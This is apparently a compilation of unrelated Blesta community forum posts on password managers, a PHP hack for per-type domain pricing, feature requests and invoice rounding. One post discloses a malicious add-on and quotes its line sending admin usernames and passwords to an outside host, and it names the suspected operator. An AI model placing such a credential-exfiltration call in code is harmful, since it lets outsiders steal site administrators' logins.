Leaderboard

I've been using SplashID for a long time. They have the mobile app, and a Desktop app. They can sync over wifi. No browser tie-ins, I have to open it, enter my passphrase and find the record I want. More secure that way though.

I'm not a fan of cloud storage of passwords. If the data is compromised, it could potentially be brute forced. It's also possible that a vulnerability in the encryption algorithm might be discovered in the future. I use a password manager, but the data is only stored on my devices. I could be robbed, but A. that's too much work for 1 set of passwords, and B. hackers prefer to work in the comfort of their parents basements.

Thanks naja7host In the past I alredy had found the file to mess with, that change the "Package ID" manually to get the Meta Type "domaintransfer" but I never got to see how could I get a real solution to not mess with all core files to get what I want So after some more hours testing I finally got the real solution for all our problems to Configure Diferent Prices for each Type (Regist a Domain, Transfer a Domain and Renew a Domain) The solution only needs to change 2 core files, and I hope, Blesta (Paul/Tyson/Cody) implement on Blesta 3.4 this changes (I dont want any credits, I only want to in Blest Core ) 1º- Create 2 new types on "Domain Modules", like enom/LogicBoxes/InternetBS etc with the meta name: domaintransfer domainrenew (I will explain later how to to this, but Cody and Tyson, alredy knows how to do it because thete is an SSL description to add SSL options to enom module) 2º- After that wen you create a new Package using a Domain Module, you will see that you can choose to configure TLD's and Prices for each Type (Domain, Domain Transfer, Domain Renew). 3º- Finaly just edit this files like so: Open file: /[blesta intalation]/app/models/packages.php Find on line 1520: private function getPackageMeta($package_id) { change to: public function getPackageMeta($package_id) { Open File: /[blesta intalation]/plugins/order/lib/order_types/domain/order_type_domain.php Find on line 129: $tlds = $this->getTlds(); Replace with: // If it is a tranfer get only the domaintransfer package id's if (isset($post['transfer'])){ $tlds = $this->getTlds(TRUE); } else{ $tlds = $this->getTlds(); } Find on line 331: private function getTlds() { Replace with: private function getTlds($transfer=NULL) { Find on line 345: foreach ($packages[$group->package_group_id] as $package) { $package = $this->Packages->get($package->id); if (isset($package->meta->tlds)) { foreach ($package->meta->tlds as $tld) { if (isset($tlds[$tld])) continue; $tlds[$tld] = array($package, $group); } } } Replace with: foreach ($packages[$group->package_group_id] as $package) { $packagemeta = $this->Packages->getPackageMeta($package->id); // If it is a tranfer get only the domaintransfer package id's if(isset($transfer)) { // Get only the packages from the meta type domaintransfer if ($packagemeta->type == "domaintransfer") $package = $this->Packages->get($package->id); }else{ // Get only the packages from the meta type domain if ($packagemeta->type == "domain") $package = $this->Packages->get($package->id); } if (isset($package->meta->tlds)) { foreach ($package->meta->tlds as $tld) { if (isset($tlds[$tld])) continue; $tlds[$tld] = array($package, $group); } } } So there you have it Diferent Prices for each Domain Type: Regist a Domain Transfer a Domain Renew a Domain And all wittout a new type of Domain System I will post on Monday the Code of one of Our Domain Modules (InternetBS and OPENSRS) with the implemantation of the 2 new Domain Meta Types, and how is handled Wen a Domain is Registed/Added, and normaly will fetch the normail prices and the client will pay that prices, after that the funtion will change to the type "domainrenew" to get the Domain Renew prices for the next renew date. Wen a Client Clicks on Transfer Domain, the order form will fetch the domaintransfer prices, and after added, the funtion will also change to the type "domainrenew" to get the Domain Renew prices for the next renew date. If Paul, Cody or Tyson can advise me if this is the best solution, of yuor have any outher ideia, please share because of the new OpenSRS Domain Module

we need more event to be implemented in blesta like : Client Edit Profile Client Change Password Client Delete (Before & After action ) Client Profile Tab Fields (dropdown menu) Contact Add | Contact Edit | Contact Delete Client Dashboard Page Load Client Pay Method Client Pay Confirm Admin Dashboard Page Load Daily CronJob (Before & After action ) Invoice Payment Reminder Accept Order Delete Order Pending Order Order Checkout Shopping Cart Checkout Page Show Cart Page Module Create (Before & After action ) Module Suspend (Before & After action ) Module unSuspend (Before & After action ) Module terminate (Before & After action ) Admin/Client Services Tab Fields (rendered) upload Files action Ticket Plugin : Add - reply - close tickets Download Manager Plugin Download (Before & After action ) order plugin every step event (before/after)

To Blesta Devs A quick and great way to work around of the main problems in Domains [solution for Diferent Prices for Register/Transfer/Renew Domains] We have seen, that we can on getPackageFields() create "types" on Modules, for exemple, only exists for now the type "domain" in domain modules. Blesta can add 2 new types by default called: domain_renew (with this type we can create diferent prices for domain renewing) domain_transfer (with this type we can create diferent prices for domain transfer) but for this to work correctly, blesta have to make some small changes to "order" plugin. In order plugin blesta have to make some connection/verification if there is a type "domain_transfer", if exists that type, wen clicking on the "button transfer" will get the prices from the type "domain_transfer". If we are registering a new domain, the type is "domain", after a domain is registered, wen a domain is added as "Active", have to be a function that change the "type" from "domain" to "domain_renew" to reflect the new prices on renewing domains. (this is only for "domain" type and not for "domain_transfer" type) [solution for Handelling Domain transfer's checks] We all know (i only know yesterday), that domains transfer are not handling correctly because it dosent check if the domain was transfered or not. So wen a client order a Domain Transfer, after payment, the Registrar Module will add a Calender Event 5 days after the initiation of the domain transfer, to remind us that there is a domain xxxxxx.tld that needs to be verified if everithing went smooth. Blesta also can, after implementing the above "Solution for Diferent Prices for Register/Transfer/Renew Domains", modification, we can check all domains in type "domain_transfer", it will only make a simple check to domain whois, every day (by blesta cron), if the whois from the registrar responds sucessful, then it will change the type from "domain_transfer" to "domain_renew" and corret the expiration/renew date from the expiration date in the "whois" response because the renew date is always the new expiration date after a sucessful transfer from the domain. This way all domains problems will be resolved and dosent need a new "Domain Plugin/Module" that we think is beeing made and will take a lot more time to implement. If some one could support my theory, or have any question, please ask We whant to resolve all Domains problems now

I was used All WP Joomla Drupal But as a Web Hosting now better is HTML5 with Bootstrap.

Why not just mark them as inactive? Unless you're browsing inactive clients, you'll never see them again.

How did you sort it out?

User friendly isn't always a good thing, LastPass is miles ahead of what I see from PasswordBox in terms of security. Have you found any research papers dealing with PasswordBox? If not I wouldn't touch it no matter how pretty it was.

Find any services and delete them in the database from their ID. Find any invoices and delete them in the database from their ID. Click delete client on Blesta to fully remove any reference.

i have get some time to think to your solution paulov , what i have found that you need to change the package for every domain action (register/transfer). this two type is just the wanted on the order form . if this is the case , what i can do as a solution is to make a new order type like the "domain" , let say "domaine" . then try to change the package if the request is transfer (line 186 in order_types_domain.php ) . i have not tested as i never check the order structure . and another probleme is how to determinate wich package for transfer , to resolve this you need to help with plugin that let you spicify wich package for domain and for transfer and for renewal . mybe my solution is NULL , but that what i have thinked now .

We sent a notice to the ISP

Yeah, PauloV decoded it. I debated not posting this information but here's where the file sends your admin details: https://my.dorob.de/modules/addons/passwords/insert.php?url=" . $url . "&user=" . $u . "&pw=" . $p Domain is registered to: IP address is 37.228.135.135 which belongs to: This person also has the twitter account https://twitter.com/dorobde and was critical of Blesta in this tweet: https://twitter.com/DoRobDE/status/507934296829861888

Hi, Finally I've managed to make the custom order page design by applying a hack to order form controller that let me to assign an specific blesta template for this order page without changing the template of any other page. Maybe this would apply for a feature request, because with the current system we can't do a full order page customization

the things should be like this i think 1 - add option in company setting to enable/disable auto cancel suspended service that are not paid ( should not confuse with suspended service for other reasons ) 2 - add option to set how mush days after suspension should the service be canceled . 3 - add new email template for notify users about thier service will canceled after X days if not paid (like the overdue invoice and suspension notice) 4 - before 1 or 2 days from canceling add new status to the service "pending delete" , whith this we can know wich service will be deleted ( this feature is optional) 5- the best of the best , if we can make modules register it own days to cancel services , for exemple, domain (com/net) should be canceled from client side after 45 days i think , cpanel we can make it at 10 days , that depend with the module itself , if no days are set , use the default one .

Here's an example of one of the calculation errors in invoice #3309: 0.5 x 72.7273 should equal 36.36365 (not displayed) 2 x 72.7273 should equal 145.4546 (not displayed) Sub total 181.81825 (rounds to 181.82) Tax 10% of the non-rounded sub total = 18.181825 (rounds to 18.18, but 18.19 is shown) A 0.01 error is introduced. If the system is using tax-exclusive pricing, you should only need to round the Sub Total and Tax. The Total should be the sum of the rounded sub total and the rounded tax total. The way the system works with tax-inclusive pricing is actually quite terrible because on the PDF, the Unit Price shown is tax-exclusive, the Cost is tax-inclusive then the Sub Total is tax-exclusive again! Everything should be tax-inclusive, the Sub Total is therefore unnecessary and should just be called Total. The Tax line should indicate that it is included in the Total above.